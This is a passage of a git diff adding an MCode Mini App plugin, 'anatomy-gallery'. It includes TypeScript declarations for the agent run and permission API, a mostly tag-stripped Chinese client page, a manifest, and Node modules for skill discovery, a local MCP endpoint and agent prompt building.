readonly turnId?: string; + readonly requestId: string; + readonly toolName: string; + readonly toolInput?: string; + readonly reason: string; + } + | { + readonly type: 'question.requested'; + readonly sessionId: string; + readonly turnId?: string; + readonly requestId: string; + readonly mode: MiniAppAgentQuestionMode; + readonly request: MiniAppAgentQuestionnaire; + } + | { + readonly type: 'turn.finished'; + readonly sessionId: string; + readonly turnId: string; + readonly status: 'finished' | 'error' | 'aborted'; + readonly text?: string; + readonly error?: { readonly code: string; readonly message: string }; + }; + +export interface MiniAppAgentRunInput { + /** Plain text, at most 100,000 UTF-16 code units. */ + readonly text: string; + /** Continue a session this Mini App created earlier; omit to start a new one. */ + readonly sessionId?: string; + /** + * Switch the session to this model before the turn (validated like the composer validates a new + * session's model: it must be one `models()` lists; unusable is `invalid_request`, missing BYOK + * credentials end the turn with `status: 'error'`); the session keeps it. Omit to use the session's current model. + */ + readonly model?: MiniAppAgentModelSelection; + /** + * Only when starting a session (no `sessionId`): an agent `name` from `agents()`. A session + * never changes its agent, so passing it with `sessionId` is `invalid_request`. + */ + readonly agent?: string; + /** Your id for `cancel(requestId)`; 1-128 characters, unique among this page's active runs. */ + readonly requestId?: string; +} + +export interface MiniAppAgentReplyInput { + readonly sessionId: string; + /** `requestId` of the `permission.requested` event. */ + readonly requestId: string; + /** No `allowAlways`: a Mini App never writes the user's global rules. */ + readonly decision: 'allowOnce' | 'deny'; +} + +export interface MiniAppAgentAnswerInput { + readonly sessionId: string; + /** `requestId` of the `question.requested` event or of `result.pendingQuestion`. */ + readonly questionId: string; + /** One answer per questionnaire step. */ + readonly answers: readonly MiniAppAgentQuestionAnswer[]; + /** Same as `MiniAppAgentRunInput.model`, applied before the continuation turn. */ + readonly model?: MiniAppAgentModelSelection; + /** Your id for `cancel(requestId)`, as in `run`. */ + readonly requestId?: string; +} + +export interface MiniAppAgentRunOptions { + readonly onEvent?: (event: MiniAppAgentRunEvent) => void; +} + +/** + * Absent on older Hosts. Calls reject with `not_permitted` unless the manifest declares + * `agentAccess: ["session.run"]`. A new session uses the Agent of the chat this page is open in; + * a page without a host chat uses the primary Agent unless `run({ agent })` / `create({ agent })` + * names one from `agents()`. Continuing a session keeps its Agent. + * The Agent works in the host chat's project directory when it has one, otherwise in this Mini + * App's own Agent directory; a continued session keeps its directory. A new session takes the + * model and thinking level of the host chat (the runtime default when the chat has none) and keeps + * them; `run` / `answer` with `model` switch the session's model first. + * It runs one turn with that Agent's full capabilities (files, shell, Skills, MCP including this + * Mini App's own), and resolves when it ends. + * + * Interaction is yours to render: handle `permission.requested` with `reply` and + * `question.requested` with `answer`. A permission request waits only while this run passed + * `onEvent` or the session is open in a chat side panel through `open`; otherwise it is denied + * and the model is told why. A run with `onEvent` that does not handle the request waits until + * `cancel` or the page closes; there is no timeout. Up to `agentConcurrency` runs (default 4) per + * Mini App run at once, one per session; further `run` / `answer` calls wait in order (up to four + * times that many, see `run.queued`), and `cancel` on a waiting call rejects it with `cancelled`. + * `busy` means the session already has a run in progress or the wait queue is full. + * Failures reject with an `Error` whose `message` is `invalid_request`, `not_permitted`, `busy`, + * `session_not_found`, `runtime_unavailable`, `cancelled`, `result_unknown`, or + * `request_not_found`. `runtime_unavailable` means nothing was started; `result_unknown` means + * the turn may have run (or ended without the Host knowing whether a question is pending), so + * never repeat it automatically. + */ +export interface MiniAppAgentAPI { + run( + input: MiniAppAgentRunInput, + options?: MiniAppAgentRunOptions, + ): Promise; + /** Decide a pending permission request; `request_not_found` when it is unknown or settled. */ + reply(input: MiniAppAgentReplyInput): Promise; + /** + * Answer a questionnaire; the continuation turn is observed like `run`. Rejects with + * `result_unknown` when the answer was recorded but the continuation turn was not observed. + */ + answer( + input: MiniAppAgentAnswerInput, + options?: MiniAppAgentRunOptions, + ): Promise; + /** Ask the Host to stop an active run or answer; unknown or finished ids are ignored. */ + cancel(requestId: string): void; + /** + * Show one of this Mini App's sessions as a tab in the side panel of the chat the + * Mini App is open in, where the user can read the conversation and answer + * permission and question cards themselves. Permission requests wait for the tab only + * while it stays open; once the user closes it, handle `permission.requested` yourself + * or call `open` again. Any session this Mini App owns can be opened, whichever chat + * created it; `session_not_found` otherwise. + */ + open(sessionId: string): Promise; + /** + * Returns the model catalog, runtime `default` and optional chat `host`. Pass `default` / `host` + * directly as `model` to `run` / `answer`. For a catalog entry, extract `providerId` / `modelId`, + * add a selected `variant` if needed and preserve `variant: ''`. If thinking is supported, + * select an effort from `thinking.efforts` and pass `thinking: { effort }`. + */ + models(): Promise; + /** The agents the user has configured; `agent` of `create` / a first `run` must be one of them. */ + agents(): Promise; + /** + * Create a session bound to this chat (agent, project directory, model) without running a + * turn, and return its `sessionId`; continue it with `run({ sessionId })` here or hand it to + * Node code. `agent` picks the session's agent from `agents()`; a session never changes it. + * Takes no run slot. If the Host's 60 s deadline passes it rejects with `runtime_unavailable` + * although the session may already exist. + */ + create(input?: { readonly agent?: string }): Promise<{ readonly sessionId: string }>; +} + +export interface MiniAppClientAPI { + readonly message: MiniAppMessageAPI; + readonly agent?: MiniAppAgentAPI; + /** + * Proposed: shape may still change. Feature-detect with + * `window.mcode?.miniapp?.window` before use. + */ + readonly window?: MiniAppWindowHandle; +} + +/** Live state of the popped-out window: current position, size, and flags — not the manifest declaration. */ +export interface MiniAppWindowOptions { + readonly width: number; + readonly height: number; + readonly minWidth: number; + readonly minHeight: number; + readonly x: number; + readonly y: number; + readonly visible: boolean; + readonly resizable: boolean; + readonly frame: boolean; + readonly transparent: boolean; + readonly alwaysOnTop: boolean; + readonly clickThrough: boolean; + readonly skipTaskbar: boolean; +} + +export type MiniAppWindowState = + | { readonly mode: 'inline' } + | { readonly mode: 'window'; readonly window: MiniAppWindowOptions }; + +/** Every field is optional; omitted fields are left unchanged. */ +export type MiniAppWindowPatch = Partial<{ + mode: 'inline' | 'window'; + width: number; + height: number; + x: number; + y: number; + visible: boolean; + resizable: boolean; + alwaysOnTop: boolean; + clickThrough: boolean; + skipTaskbar: boolean; +}>; + +export interface MiniAppWindowDisposable { + dispose(): void; +} + +/** + * Page-side handle for this Mini App's own window (proposed). Separate from + * `message`; the Host injects both under the same `mcode.miniapp` namespace. + */ +export interface MiniAppWindowHandle { + /** Opaque and stable across pop-out and return; never a Session or launch identifier. */ + readonly id: string; + getState(): Promise; + /** + * `update({ mode: ... })` or `focus()` require the call to originate from a + * user gesture (`navigator.userActivation.isActive`); otherwise they reject + * with `not_permitted` before any Host round trip. + */ + update(patch: MiniAppWindowPatch): Promise; + focus(): Promise; + /** Returns a disposable; call `dispose()` to stop receiving updates. */ + onDidChangeState(listener: (state: MiniAppWindowState) => void): MiniAppWindowDisposable; +} + +export interface McodeClientAPI { + readonly miniapp: MiniAppClientAPI; +} + +declare global { + interface Window { + /** Absent outside a supported managed Mini App main page. Check before use. */ + readonly mcode?: McodeClientAPI; + } +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/client/index.html b/plugins/zch0227/anatomy-gallery/miniapp/client/index.html new file mode 100644 index 00000000..33e8de3c --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/client/index.html @@ -0,0 +1,139 @@ + + + + + + Anatomy 画廊 + + + +
+
+

Anatomy 画廊

+ +
+
+ + +
+
+ +
+

正在布展…

+
+ +
+ + +
+

新建作品

+

画廊会新开一个 MCode 对话,由 Agent 用 anatomy 制作。完成后作品会自动挂上墙。

+ +
+ 规模 +
+ + +
+
+
+ + +
+ + + +
+ + +
+
+
+ + +
+

导入已有作品

+

填写 anatomy 构建出的 HTML 页面的绝对路径,同目录下的 -light.html 会一起导入。画廊保存的是副本,之后交给 Agent 修改时也会先复制,不会改动原文件。

+ + + +
+ + +
+
+
+ + +
+

从画廊撤下这件作品?

+

画廊里保存的所有版本都会删除。Agent 工作目录里的源文件和关联对话不受影响。

+
+ + +
+
+
+ + +
+

管理展区

+

每件作品挂在一个展区里。改名后按回车保存;移除一个展区时,里面的作品会回到内置展区。内置展区不能移除。

+
    +
    + + +
    + +
    + +
    +
    +
    + + + + diff --git a/plugins/zch0227/anatomy-gallery/miniapp/miniapp.json b/plugins/zch0227/anatomy-gallery/miniapp/miniapp.json new file mode 100644 index 00000000..48fed0cf --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/miniapp.json @@ -0,0 +1,29 @@ +{ + "schemaVersion": 1, + "artifacts": { + "client": ["./miniapp/client"], + "node": ["./miniapp/node"] + }, + "runtime": { + "kind": "process", + "entry": "./miniapp/node/server.mjs", + "lifecycle": "on-demand" + }, + "surface": { + "path": "/gallery", + "window": { + "width": 1240, + "height": 820, + "minWidth": 720, + "minHeight": 520 + } + }, + "mcpEndpoints": [ + { + "server": "anatomy-gallery", + "path": "/mcp/anatomy-gallery" + } + ], + "agentAccess": ["session.run"], + "agentConcurrency": 4 +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/examples.mjs b/plugins/zch0227/anatomy-gallery/miniapp/node/examples.mjs new file mode 100644 index 00000000..7802d735 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/examples.mjs @@ -0,0 +1,125 @@ +// @ts-check +// Read-only view of the examples shipped with the anatomy skill. +// A standalone install (from before the gallery, or installed later) always wins, so people who +// already use anatomy keep their own copy and version. The copy bundled in this package +// (skills/anatomy, upstream wheresryan22/anatomy @ bc943e4) is used only when none is installed. +import { readdir, readFile, stat } from 'node:fs/promises'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; + +const SKILL_ROOTS = [ + '.minimax/skills/anatomy', + '.agents/skills/anatomy', + '.claude/skills/anatomy', + '.codex/skills/anatomy', + '.config/opencode/skills/anatomy', +]; + +/** @param {string} path */ +async function isFile(path) { + try { + return (await stat(path)).isFile(); + } catch { + return false; + } +} + +/** @param {string} path */ +async function readTitle(path) { + const head = (await readFile(path, 'utf8')).slice(0, 200_000); + const titles = [...head.matchAll(/([^<]{1,120})<\/title>/gi)].map((m) => m[1].trim()); + return titles.find((title) => !title.includes('${')) ?? ''; +} + +/** + * Where the anatomy skill lives right now. Checked on every run, so installing or removing a + * standalone copy takes effect without restarting the gallery. + * @param {string} [pluginRoot] the gallery package root, which carries the bundled copy + * @returns {Promise<{ root: string, bundled: boolean } | null>} + */ +export async function resolveSkill(pluginRoot) { + for (const relative of SKILL_ROOTS) { + const root = join(homedir(), relative); + if (await isFile(join(root, 'SKILL.md'))) return { root, bundled: false }; + } + if (pluginRoot) { + const root = join(pluginRoot, 'skills', 'anatomy'); + if (await isFile(join(root, 'SKILL.md'))) return { root, bundled: true }; + } + return null; +} + +/** @param {string} [pluginRoot] */ +export function createExamples(pluginRoot) { + /** @type {Promise<{ root: string | null, items: any[] }> | null} */ + let cache = null; + + async function discover() { + const root = (await resolveSkill(pluginRoot))?.root ?? null; + if (!root) return { root: null, items: [] }; + const examplesDir = join(root, 'examples'); + const assetsDir = join(root, '.github', 'assets'); + let names = []; + try { + names = (await readdir(examplesDir, { withFileTypes: true })) + .filter((entry) => entry.isDirectory()) + .map((entry) => entry.name) + .filter((name) => /^[a-z0-9-]+$/.test(name)) + .sort(); + } catch { + return { root, items: [] }; + } + let assets = []; + try { + assets = await readdir(assetsDir); + } catch { + assets = []; + } + const items = []; + for (const name of names) { + const dark = join(examplesDir, name, `${name}.html`); + if (!(await isFile(dark))) continue; // React examples have no standalone page. + const light = join(examplesDir, name, `${name}-light.html`); + const previewName = + assets.find((file) => file === `${name}.webp`) ?? assets.find((file) => file.startsWith(`${name}-`) && file.endsWith('.webp')); + items.push({ + name, + title: (await readTitle(dark)) || name, + dark, + light: (await isFile(light)) ? light : null, + preview: previewName ? join(assetsDir, previewName) : null, + }); + } + return { root, items }; + } + + async function load() { + cache ??= discover().catch((error) => { + cache = null; + throw error; + }); + return cache; + } + + return { + load, + /** Public listing without filesystem paths. */ + async list() { + const { root, items } = await load(); + return { + installed: !!root, + items: items.map((item) => ({ + name: item.name, + title: item.title, + hasLight: !!item.light, + hasPreview: !!item.preview, + })), + }; + }, + /** @param {string} name */ + async get(name) { + const { items } = await load(); + return items.find((item) => item.name === name) ?? null; + }, + }; +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/mcp.mjs b/plugins/zch0227/anatomy-gallery/miniapp/node/mcp.mjs new file mode 100644 index 00000000..7480dac3 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/mcp.mjs @@ -0,0 +1,96 @@ +// @ts-check +// Minimal Streamable HTTP MCP endpoint (JSON responses only, no server-initiated stream). +import { GalleryError } from './store.mjs'; + +/** + * @typedef {{ name: string, description: string, inputSchema: object, + * handler: (args: Record<string, unknown>) => Promise<string> }} McpTool + */ + +/** @param {{ name: string, version: string, instructions: string, tools: McpTool[] }} options */ +export function createMcpEndpoint({ name, version, instructions, tools }) { + const byName = new Map(tools.map((tool) => [tool.name, tool])); + + /** @param {any} message */ + async function handleMessage(message) { + if (!message || typeof message !== 'object' || message.jsonrpc !== '2.0' || typeof message.method !== 'string') { + return { jsonrpc: '2.0', id: message?.id ?? null, error: { code: -32600, message: 'Invalid Request' } }; + } + const isNotification = !('id' in message); + if (isNotification) return null; + const { id, method, params } = message; + try { + switch (method) { + case 'initialize': + return { + jsonrpc: '2.0', + id, + result: { + protocolVersion: typeof params?.protocolVersion === 'string' ? params.protocolVersion : '2025-06-18', + capabilities: { tools: { listChanged: false } }, + serverInfo: { name, version }, + instructions, + }, + }; + case 'ping': + return { jsonrpc: '2.0', id, result: {} }; + case 'tools/list': + return { + jsonrpc: '2.0', + id, + result: { + tools: tools.map(({ name: toolName, description, inputSchema }) => ({ name: toolName, description, inputSchema })), + }, + }; + case 'tools/call': { + const tool = byName.get(params?.name); + if (!tool) return { jsonrpc: '2.0', id, error: { code: -32602, message: `Unknown tool: ${params?.name}` } }; + const args = params?.arguments && typeof params.arguments === 'object' ? params.arguments : {}; + try { + const text = await tool.handler(args); + return { jsonrpc: '2.0', id, result: { content: [{ type: 'text', text }], isError: false } }; + } catch (error) { + const text = error instanceof GalleryError ? error.message : 'The gallery could not complete this call.'; + return { jsonrpc: '2.0', id, result: { content: [{ type: 'text', text }], isError: true } }; + } + } + default: + return { jsonrpc: '2.0', id, error: { code: -32601, message: `Method not found: ${method}` } }; + } + } catch { + return { jsonrpc: '2.0', id, error: { code: -32603, message: 'Internal error' } }; + } + } + + /** + * @param {import('node:http').IncomingMessage} request + * @param {import('node:http').ServerResponse} response + * @param {string} body + */ + async function handle(request, response, body) { + if (request.method !== 'POST') { + response.writeHead(405, { allow: 'POST', 'content-type': 'application/json' }); + response.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32000, message: 'Method not allowed' } })); + return; + } + let payload; + try { + payload = JSON.parse(body); + } catch { + response.writeHead(400, { 'content-type': 'application/json' }); + response.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32700, message: 'Parse error' } })); + return; + } + const batch = Array.isArray(payload); + const replies = (await Promise.all((batch ? payload : [payload]).map(handleMessage))).filter(Boolean); + if (replies.length === 0) { + response.writeHead(202); + response.end(); + return; + } + response.writeHead(200, { 'content-type': 'application/json' }); + response.end(JSON.stringify(batch ? replies : replies[0])); + } + + return { handle }; +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/miniapp-api.ts b/plugins/zch0227/anatomy-gallery/miniapp/node/miniapp-api.ts new file mode 100644 index 00000000..f5d8b7a4 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/miniapp-api.ts @@ -0,0 +1,397 @@ +/** + * Agent-facing Mini App runtime authoring declarations. + * + * Copy this file into a generated plugin for type checking. It contains no Host implementation; + * the Host injects runtime values through start(context). + * Keep the .ts filename: Electron packaging excludes .d.ts files from dependency assets. + */ +export type JsonPrimitive = null | boolean | number | string; +export type JsonValue = JsonPrimitive | JsonObject | readonly JsonValue[]; +export type JsonObject = { readonly [key: string]: JsonValue }; + +declare const HOST_CONNECTOR_TOOL_REF: unique symbol; +export type HostConnectorToolRef = string & { + readonly [HOST_CONNECTOR_TOOL_REF]: 'HostConnectorToolRef'; +}; + +export interface HostConnectorTool { + readonly toolRef: HostConnectorToolRef; + readonly provider: string; + readonly name: string; + readonly description?: string; + readonly inputSchema: JsonValue; + readonly outputSchema?: JsonValue; +} + +export interface HostConnectorListResult { + readonly tools: readonly HostConnectorTool[]; + readonly partial: boolean; +} + +export interface HostConnectorCallOptions { + readonly signal?: AbortSignal; +} + +export interface HostConnectorCallResult { + readonly invocationId: string; + /** + * Raw provider result; it is not normalized by the Host and may be an object, array, or primitive. + * A single text-block array is one provider shape, not a global Host transport contract. + * Decode only a probe-observed envelope; preserve every other value, including direct strings. + */ + readonly value: JsonValue; +} + +export interface HostConnectorClient { + /** Candidate-safe inventory only; available before and after activation. */ + list(options?: HostConnectorCallOptions): Promise<HostConnectorListResult>; + /** Activation-only business dispatch; call from request handling, never start(context). */ + call( + toolRef: HostConnectorToolRef, + arguments_: JsonObject, + options?: HostConnectorCallOptions, + ): Promise<HostConnectorCallResult>; +} + +export type HostConnectorErrorDisposition = + | 'not_dispatched' + | 'provider_reported' + | 'unknown_after_dispatch'; + +export type HostConnectorErrorCode = + | 'TOOL_REF_STALE' + | 'SERVICE_RESTARTED' + | 'REQUEST_CANCELLED' + | 'CONNECTOR_TIMEOUT' + | 'INVALID_ARGUMENTS' + | 'CONNECTOR_PROVIDER_ERROR' + | 'CONNECTOR_UNAVAILABLE' + | 'CONNECTOR_OUTCOME_UNKNOWN'; + +export interface HostConnectorError extends Error { + readonly code: HostConnectorErrorCode; + readonly disposition: HostConnectorErrorDisposition; + readonly retryable: boolean; + readonly invocationId?: string; + readonly diagnostic?: { + readonly issues: readonly { + readonly path: string; + readonly constraint: string; + readonly limit?: number; + }[]; + }; +} + +export interface MiniAppLogger { + debug(message: string, fields?: JsonObject): void; + info(message: string, fields?: JsonObject): void; + warn(message: string, fields?: JsonObject): void; + error(message: string, fields?: JsonObject): void; +} + +export type MiniAppAgentRunStatus = 'finished' | 'error' | 'aborted'; + +export type MiniAppAgentQuestionMode = 'questionnaire' | 'feature-enable' | 'plan'; + +export interface MiniAppAgentQuestionOption { + readonly id: string; + readonly label: string; + readonly description?: string; +} + +export interface MiniAppAgentQuestionStep { + readonly id: string; + readonly header?: string; + readonly question: string; + readonly description?: string; + readonly selectionMode: 'single' | 'multiple'; + readonly options: readonly MiniAppAgentQuestionOption[]; + /** Free-text "other" is always accepted; see `MiniAppAgentQuestionAnswer.otherText`. */ + readonly allowOther: true; +} + +/** Same questionnaire the Host chat renders; render every step and answer each one. */ +export interface MiniAppAgentQuestionnaire { + readonly schemaVersion: 2; + readonly id: string; + readonly title?: string; + readonly steps: readonly MiniAppAgentQuestionStep[]; + readonly mode?: MiniAppAgentQuestionMode; + /** Plan review Markdown and other mode-specific data. */ + readonly modePayload?: JsonObject; + /** Unix ms; the request is withdrawn after this. */ + readonly expiresAt?: number; +} + +export interface MiniAppAgentQuestionAnswer { + readonly stepId: string; + readonly selectedOptionIds: readonly string[]; + readonly selectedOther: boolean; + readonly otherText?: string; + readonly skipped?: boolean; +} + +/** A model as the Host's composer selects it; take the values from `models()`. */ +export interface MiniAppAgentModelSelection { + readonly providerId: string; + readonly modelId: string; + /** `''` means thinking is off; it is preserved, distinct from an absent `variant`. */ + readonly variant?: string; + readonly thinking?: { readonly effort: string }; +} + +/** One model this user can use. */ +export interface MiniAppAgentModelOption { + readonly providerId: string; + readonly modelId: string; + readonly displayName: string; + readonly variants?: readonly string[]; + readonly thinking?: { readonly efforts: readonly string[]; readonly default?: string }; +} + +export interface MiniAppAgentModels { + readonly models: readonly MiniAppAgentModelOption[]; + /** What a Node-created session starts with. */ + readonly default: MiniAppAgentModelSelection; +} + +export interface MiniAppAgentAgentOption { + /** Canonical name; what `agent` takes. */ + readonly name: string; + readonly displayName: string; + /** The default agent. */ + readonly primary: boolean; +} + +export interface MiniAppAgentAgents { + readonly agents: readonly MiniAppAgentAgentOption[]; +} + +export interface MiniAppAgentRunResult { + /** Pass back in `run({ sessionId })` to continue the same conversation. */ + readonly sessionId: string; + /** Absent when no turn ran: an `answer` accepted without starting a continuation. */ + readonly turnId?: string; + /** The model the turn was dispatched with; absent when no turn ran. */ + readonly model?: MiniAppAgentModelSelection; + /** `aborted` only when the Host confirmed the abort; an unconfirmed one rejects with `AGENT_OUTCOME_UNKNOWN`. */ + readonly status: MiniAppAgentRunStatus; + /** Final assistant reply; absent when the turn produced none or did not finish. */ + readonly text?: string; + readonly error?: { readonly code: string; readonly message: string }; + /** Set when the turn ended waiting on a questionnaire; render `request` and continue with `agent.answer`. */ + readonly pendingQuestion?: { + readonly requestId: string; + readonly mode: MiniAppAgentQuestionMode; + readonly request: MiniAppAgentQuestionnaire; + }; +} + +/** + * Progress of one run. `turnId` matches the result's, except that a `permission.requested` raised + * by a delegated child session carries that child's own `sessionId` and `turnId`; `reply` with + * those, and do not filter events by the root turn. Ignore unknown `type` values: new event + * types may be added without notice. + * - `run.queued`: all run slots are taken and the call waits at 1-based `position`; sent once, + * before the turn starts, so it has no `turnId` and names a session only when continuing one. + * - `turn.started`: the Agent began the turn; `model` is the model it was dispatched with. + * - `text.delta`: a piece of the reply as it streams. + * - `message.committed`: one complete assistant message (a turn can have several). + * - `tool.started` / `tool.finished`: a tool call by name; `ok` is false when it failed. + * - `turn.finished`: always last; same `status`, `text`, and `error` as the run result. + */ +/** + * Every event except `run.queued` names its session, so `reply` can be called from `onEvent` even + * before the `run` that created the session has returned. `answer` cannot: the paused `run` still holds the + * session's single-run slot while `question.requested` is delivered, so call `answer` only after + * that `run` resolves (an earlier call rejects with `BUSY`). Ignore event types you do not know. + */ +export type MiniAppAgentRunEvent = + | { readonly type: 'run.queued'; readonly sessionId?: string; readonly position: number } + | { + readonly type: 'turn.started'; + readonly sessionId: string; + readonly turnId: string; + readonly model: MiniAppAgentModelSelection; + } + | { + readonly type: 'text.delta'; + readonly sessionId: string; + readonly turnId: string; + readonly text: string; + } + | { + readonly type: 'message.committed'; + readonly sessionId: string; + readonly turnId: string; + readonly text: string; + } + | { + readonly type: 'tool.started'; + readonly sessionId: string; + readonly turnId: string; + readonly name: string; + } + | { + readonly type: 'tool.finished'; + readonly sessionId: string; + readonly turnId: string; + readonly name: string; + readonly ok: boolean; + } + /** A tool call is waiting for approval; decide it with `agent.reply`. */ + | { + readonly type: 'permission.requested'; + readonly sessionId: string; + /** Absent when the runtime did not attribute the ask to a turn. */ + readonly turnId?: string; + readonly requestId: string; + readonly toolName: string; + readonly toolInput?: string; + readonly reason: string; + } + /** The turn paused on a questionnaire; continue with `agent.answer`. */ + | { + readonly type: 'question.requested'; + readonly sessionId: string; + readonly turnId?: string; + readonly requestId: string; + readonly mode: MiniAppAgentQuestionMode; + readonly request: MiniAppAgentQuestionnaire; + } + | { + readonly type: 'turn.finished'; + readonly sessionId: string; + readonly turnId: string; + readonly status: MiniAppAgentRunStatus; + readonly text?: string; + readonly error?: { readonly code: string; readonly message: string }; + }; + +export interface MiniAppAgentRunOptions { + readonly signal?: AbortSignal; + readonly onEvent?: (event: MiniAppAgentRunEvent) => void; +} + +export type MiniAppAgentErrorCode = + | 'NOT_PERMITTED' + | 'BUSY' + | 'SESSION_NOT_FOUND' + | 'INVALID_ARGUMENTS' + | 'AGENT_UNAVAILABLE' + | 'REQUEST_CANCELLED' + | 'AGENT_OUTCOME_UNKNOWN' + | 'REQUEST_NOT_FOUND'; + +export interface MiniAppAgentError extends Error { + readonly code: MiniAppAgentErrorCode; + /** + * True when nothing was started and the same call may be retried later. + * `AGENT_OUTCOME_UNKNOWN` is never retryable: the turn may have run. + */ + readonly retryable: boolean; + /** Set on every `BUSY`: the session already has a run in flight, or the wait queue is full. */ + readonly reason?: 'session_busy' | 'queue_full'; +} + +/** + * Present only when the manifest declares `agentAccess: ["session.run"]`. + * A new Node session uses the primary Agent unless `agent` names one from `agents()`, and works in + * this Mini App's own Agent directory and on the runtime default model; + * continuing a session keeps its Agent, directory and model (unless `model` switches it), including + * one a page created using its host chat's Agent, project directory and model; a session never + * changes its Agent. Runs one turn with that Agent's full capabilities + * (files, shell, Skills, MCP including this Mini App's own), and resolves when the turn ends. + * + * Interaction is yours to render: pass `onEvent` and handle `permission.requested` with + * `reply` and `question.requested` with `answer`. A permission request waits only while + * someone can answer it: this run passed `onEvent`, or a page of this Mini App currently has + * the session open in a chat side panel via `open`. Otherwise it is denied (the model is told + * why), and a questionnaire ends the turn with `result.pendingQuestion`. A run waiting on a + * permission is released by `cancel`/abort, process exit or republish. Up to `agentConcurrency` + * runs (default 4) per Mini App run at once; further `run` / `answer` calls wait in order (up to + * four times that many, see `run.queued`), and aborting a waiting call rejects it with + * `REQUEST_CANCELLED`. + */ +export interface MiniAppAgentClient { + run( + input: { + readonly text: string; + readonly sessionId?: string; + /** + * Switch the session to this model before the turn (validated like the composer validates a + * new session's model: it must be one `models()` lists; unusable is `INVALID_ARGUMENTS`, + * missing BYOK credentials end the turn with `status: 'error'`); the session keeps it. Omit to use the session's current model. + */ + readonly model?: MiniAppAgentModelSelection; + /** + * Only when starting a session (no `sessionId`): an agent `name` from `agents()`. Passing it + * with `sessionId` is `INVALID_ARGUMENTS`. + */ + readonly agent?: string; + }, + options?: MiniAppAgentRunOptions, + ): Promise<MiniAppAgentRunResult>; + /** + * Decide a pending permission request. Never writes the user's global rules. Node replies + * have 16 separate pending slots; `run` / `answer` / `models` / `agents` / `create` and Connector + * requests share another 16. Filling that ordinary budget still permits replies. A full reply + * budget rejects with retryable `AGENT_UNAVAILABLE`. + */ + reply(input: { + readonly sessionId: string; + readonly requestId: string; + readonly decision: 'allowOnce' | 'deny'; + }): Promise<void>; + /** + * Answer a questionnaire; the continuation turn is observed like `run`. Rejects with + * `AGENT_OUTCOME_UNKNOWN` when the answer was recorded but the continuation turn was not observed. + */ + answer( + input: { + readonly sessionId: string; + readonly requestId: string; + readonly answers: readonly MiniAppAgentQuestionAnswer[]; + /** Same as `run`'s `model`, applied before the continuation turn. */ + readonly model?: MiniAppAgentModelSelection; + }, + options?: MiniAppAgentRunOptions, + ): Promise<MiniAppAgentRunResult>; + /** + * Returns the model catalog and runtime `default`. Pass `default` directly as `model` to + * `run` / `answer`. For a catalog entry, extract `providerId` / `modelId`, add a selected `variant` + * if needed and preserve `variant: ''`. If thinking is supported, select an effort from + * `thinking.efforts` and pass `thinking: { effort }`. + */ + models(): Promise<MiniAppAgentModels>; + /** The agents the user has configured; `agent` of `create` / a first `run` must be one of them. */ + agents(): Promise<MiniAppAgentAgents>; + /** + * Create a session (agent, this Mini App's Agent directory, the runtime default model) without + * running a turn, and return its `sessionId`; continue it with `run({ sessionId })`. A page's + * `create` binds the session to its chat instead, and its `sessionId` can be continued here. + * Takes no Host run slot but uses the ordinary Node request budget. `agent` picks the session's + * agent from `agents()`; a session never changes it. + */ + create(input?: { readonly agent?: string }): Promise<{ readonly sessionId: string }>; +} + +export interface MiniAppLifecycle { + dispose(): void | Promise<void>; +} + +export interface MiniAppContext { + readonly pluginId: string; + readonly pluginRoot: string; + readonly dataDir: string; + readonly listen: Readonly<{ readonly host: '127.0.0.1'; readonly port: number }>; + readonly signal: AbortSignal; + readonly logger: MiniAppLogger; + readonly hostConnector?: HostConnectorClient; + readonly agent?: MiniAppAgentClient; +} + +export interface MiniAppModule { + /** Resolve only after the listener accepts connections and every route is installed. */ + start(context: MiniAppContext): Promise<void | MiniAppLifecycle>; +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/runs.mjs b/plugins/zch0227/anatomy-gallery/miniapp/node/runs.mjs new file mode 100644 index 00000000..8129c7ff --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/runs.mjs @@ -0,0 +1,437 @@ +// @ts-check +// Agent runs: every figure owns one MCode session; create and edit turns run there from Node. +import { randomUUID } from 'node:crypto'; +import { appendFile, mkdir, readFile, rm } from 'node:fs/promises'; +import { join } from 'node:path'; +import { GalleryError, cleanText } from './store.mjs'; +import { resolveSkill } from './examples.mjs'; + +const MAX_LOG_ENTRIES = 3000; +const RUN_ID = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/; + +/** @typedef {import('./miniapp-api.js').MiniAppAgentClient} MiniAppAgentClient */ +/** @typedef {import('./miniapp-api.js').MiniAppAgentRunEvent} MiniAppAgentRunEvent */ +/** @typedef {import('./miniapp-api.js').MiniAppLogger} MiniAppLogger */ + +const SIZE_TEXT = { + figure: 'Figure:一个机构,40–80 个零件,最多一层 WebGL。', + hero: 'Hero:更密的整机或多层 WebGL,80–150 个零件,预计 2–4 小时。', +}; + +const REGISTER_RULE = + '调用 MCP 工具 register_figure_version 登记:figureId 填 "{id}";page 填深色页面的绝对路径;' + + 'lightPage 填浅色页面的绝对路径;preview 和 lightPreview 分别填深色、浅色页面的桌面尺寸截图(PNG)的绝对路径;' + + 'title 填一个简短的标题(中文不超过 12 个字,其他语言长度相当);note 用一句话说明这一版的内容。'; + +/** + * Point the Agent at one concrete copy of the skill. A standalone install and the gallery's bundled + * copy can both be in its Skill list under similar names; the directory removes the ambiguity. + * @param {{ root: string, bundled: boolean } | null} skill + */ +function skillLine(skill) { + return skill ? `anatomy 技能的目录是 ${skill.root},动手前先读其中的 SKILL.md,按它的规范和 kit 来做。` : ''; +} + +/** @param {{ root: string, bundled: boolean } | null} skill */ +function kitDir(skill) { + return skill ? `${skill.root}/kit` : '已安装 anatomy 技能的 kit 目录'; +} + +/** @param {any} figure @param {string | null} example @param {{ root: string, bundled: boolean } | null} [skill] */ +export function createPrompt(figure, example, skill = null) { + return [ + '请使用 anatomy 技能制作一张交互式等距图解,做完后登记到 Anatomy 